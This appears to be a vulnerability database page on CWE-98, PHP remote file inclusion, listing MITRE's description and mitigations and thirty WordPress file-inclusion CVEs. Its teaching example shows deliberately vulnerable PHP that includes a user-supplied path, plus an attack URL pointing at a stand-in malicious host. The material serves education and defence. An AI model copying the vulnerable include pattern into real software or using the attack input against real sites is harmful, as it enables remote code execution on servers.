Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1359 CNY

100%

CWE-98 (PHP程序中Include/Require语句包含文件控制不恰当(PHP远程文件包含)) — Vulnerability Class 1309

1309 vulnerabilities classified as CWE-98 (PHP程序中Include/Require语句包含文件控制不恰当(PHP远程文件包含)). AI Chinese analysis included.

CWE-98 represents a critical input validation weakness where PHP applications fail to properly sanitize user-supplied data before passing it to include or require functions. Attackers typically exploit this by injecting malicious URLs or local file paths, enabling Remote File Inclusion (RFI) or Local File Inclusion (LFI). This allows adversaries to execute arbitrary code hosted on external servers or access sensitive system files, often leading to full server compromise. To mitigate this risk, developers must strictly validate and whitelist allowed filenames or paths, ensuring only expected local resources are included. Additionally, disabling the allow_url_include and allow_url_fopen directives in the PHP configuration prevents the inclusion of remote files entirely. Implementing robust input validation and adhering to the principle of least privilege significantly reduces the attack surface associated with dynamic file inclusion mechanisms.

MITRE CWE Description
The PHP application receives input from an upstream component, but it does not restrict or incorrectly restricts the input before its usage in "require," "include," or similar functions. In certain versions and configurations of PHP, this can allow an attacker to specify a URL to a remote location from which the product will obtain the code to execute. In other cases in association with path traversal, the attacker can specify a local file that may contain executable statements that can be parsed by PHP.
Common Consequences (1)
Integrity, Confidentiality, Availability Execute Unauthorized Code or Commands
The attacker may be able to specify arbitrary code to be executed from a remote location. Alternatively, it may be possible to use normal program behavior to insert php code into files on the local machine which can then be included and force the code to execute since php ignores everything in the f…
Mitigations (5)
Architecture and Design Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Architecture and Design When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Architecture and Design For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Architecture and Design, Operation Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For ex…
Effectiveness: Limited
Architecture and Design, Operation Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database ad…
Examples (1)
The following code, victim.php, attempts to include a function contained in a separate PHP page on the server. It builds the path to the file by using the supplied 'module_name' parameter and appending the string '/function.php' to it.
$dir = $_GET['module_name']; include($dir . "/function.php");
Bad · PHP
victim.php?module_name=http://malicious.example.com
Attack
CVE ID Title CVSS Severity Published
CVE-2026-39559 WordPress Uppercase theme < 1.2.2 - Local File Inclusion vulnerability — Uppercase 8.1 High 2026-06-17
CVE-2026-39523 WordPress Solene Core plugin <= 2.3.2 - Local File Inclusion vulnerability — Solene Core 8.1 High 2026-06-17
CVE-2025-69175 WordPress Line Agency theme <= 1.3.1 - Local File Inclusion vulnerability — Line Agency 8.1 High 2026-06-17
CVE-2025-69174 WordPress Etude theme <= 1.6 - Local File Inclusion vulnerability — Etude 8.1 High 2026-06-17
CVE-2025-69170 WordPress Eventicity theme <= 1.5 - Local File Inclusion vulnerability — Eventicity 8.1 High 2026-06-17
CVE-2025-69166 WordPress Gunslinger theme <= 1.7 - Local File Inclusion vulnerability — Gunslinger 8.1 High 2026-06-17
CVE-2025-69164 WordPress Skyward theme <= 1.10 - Local File Inclusion vulnerability — Skyward 8.1 High 2026-06-17
CVE-2025-69158 WordPress Granola theme <= 1.13 - Local File Inclusion vulnerability — Granola 8.1 High 2026-06-17
CVE-2025-69157 WordPress Gamic theme <= 1.15 - Local File Inclusion vulnerability — Gamic 8.1 High 2026-06-17
CVE-2025-69144 WordPress Preservation theme <= 1.10 - Local File Inclusion vulnerability — Preservation 8.1 High 2026-06-17
CVE-2025-69126 WordPress Fortius theme <= 2.3.0 - Local File Inclusion vulnerability — Fortius 8.1 High 2026-06-17
CVE-2025-69123 WordPress Snow Club theme <= 1.1 - Local File Inclusion vulnerability — Snow Club 8.1 High 2026-06-17
CVE-2025-69115 WordPress LuxMed | Medicine & Healthcare Doctor WordPress Theme theme <= 1.2.2 - Local File Inclusion vulnerability — LuxMed | Medicine & Healthcare Doctor WordPress Theme 8.1 High 2026-06-17
CVE-2025-69120 WordPress Dazzle theme <= 1.0.0 - Local File Inclusion vulnerability — Dazzle 8.1 High 2026-06-17
CVE-2025-69106 WordPress Imba theme <= 1.5.0 - Local File Inclusion vulnerability — Imba 8.1 High 2026-06-17
CVE-2026-40731 WordPress ChapterOne theme <= 1.7 - Local File Inclusion vulnerability — ChapterOne 8.1 High 2026-06-17
CVE-2026-40721 WordPress Element Pack Pro plugin <= 9.0.6 - Local File Inclusion vulnerability — Element Pack Pro 7.5 High 2026-06-17
CVE-2026-39582 WordPress Hitek theme < 1.8.3 - Local File Inclusion vulnerability — Hitek 8.1 High 2026-06-17
CVE-2026-39558 WordPress Malmö theme <= 2.2 - Local File Inclusion vulnerability — Malmö 8.1 High 2026-06-17
CVE-2026-39537 WordPress Mikado Core plugin <= 1.6 - Local File Inclusion vulnerability — Mikado Core 8.1 High 2026-06-17
CVE-2026-22338 WordPress EcoBlue theme <= 1.15 - Local File Inclusion vulnerability — EcoBlue 8.1 High 2026-06-17
CVE-2026-22331 WordPress AutoParts theme <= 1.5.8 - Local File Inclusion vulnerability — AutoParts 8.1 High 2026-06-17
CVE-2026-22330 WordPress Right Way theme <= 4.0 - Local File Inclusion vulnerability — Right Way 8.1 High 2026-06-17
CVE-2026-22326 WordPress Reprizo theme <= 1.0.8 - Local File Inclusion vulnerability — Reprizo 8.1 High 2026-06-17
CVE-2026-22325 WordPress Promo theme <= 1.3.0 - Local File Inclusion vulnerability — Promo 8.1 High 2026-06-17
CVE-2025-69173 WordPress Tipsy theme <= 1.1 - Local File Inclusion vulnerability — Tipsy 8.1 High 2026-06-17
CVE-2025-69172 WordPress Resurs theme <= 1.3 - Local File Inclusion vulnerability — Resurs 8.1 High 2026-06-17
CVE-2025-69171 WordPress Orpheus theme <= 1.3 - Local File Inclusion vulnerability — Orpheus 8.1 High 2026-06-17
CVE-2025-69161 WordPress Snowy theme <= 1.13 - Local File Inclusion vulnerability — Snowy 8.1 High 2026-06-17
CVE-2025-69148 WordPress Quirky theme <= 1.23 - Local File Inclusion vulnerability — Quirky 8.1 High 2026-06-17

Vulnerabilities classified as CWE-98 (PHP程序中Include/Require语句包含文件控制不恰当(PHP远程文件包含)) represent 1309 CVEs. The CWE taxonomy describes the weakness; review individual CVEs for product-specific impact.